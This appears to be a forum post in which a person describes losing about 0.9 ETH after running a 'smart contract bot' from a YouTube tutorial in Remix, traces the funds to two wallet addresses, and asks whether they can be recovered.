I'm probably the dumbest guy 2024. I tried a youtube tutorial where a guy showed how to use a smart contract bot to earn some passive income. I copied everything and started it through remix.ide. Everything seemed fine, until I started the StartNative() function and approved using 0.9 eth. In the debugger an error appears "Invalid JSON RPC response: """ Besides that everything seemed to work fine, however my ETH from my wallet disappeared (the guy on youtube said it would be still on the wallet but also on smartcontract wallet (?)). Here is the transaction: ethscan https://etherscan.io/tx/0x2e79c747f8387acf9b585177a8c2a54caf746d156bcd4bc5a8781f3e83041b86
It firstly went to this address: 0x6cd58e8490cf97305024a55ba04fEcc2483Add77 If you check this address the ETH cant be seen there. However in the transaction details it shows that there is a kind of a subtransaction: Transfer 0.893164179402354493 ETH From 0x6cd58e84...2483Add77 To 0xC54F7413...b1573Dc20
And now the ETH is stored in the address 0xC54F7413...b1573Dc20.
If you had the patience to read until here, you will notice that I don't had any clue what the **** I was doing. I learned definitely my lesson from this, so no need for telling me how dumb that was and that I shouldn't play with crypto if I don't know anything about it. However I would so much appreciate if you could help me in getting the ETH back, or is it gone forever?
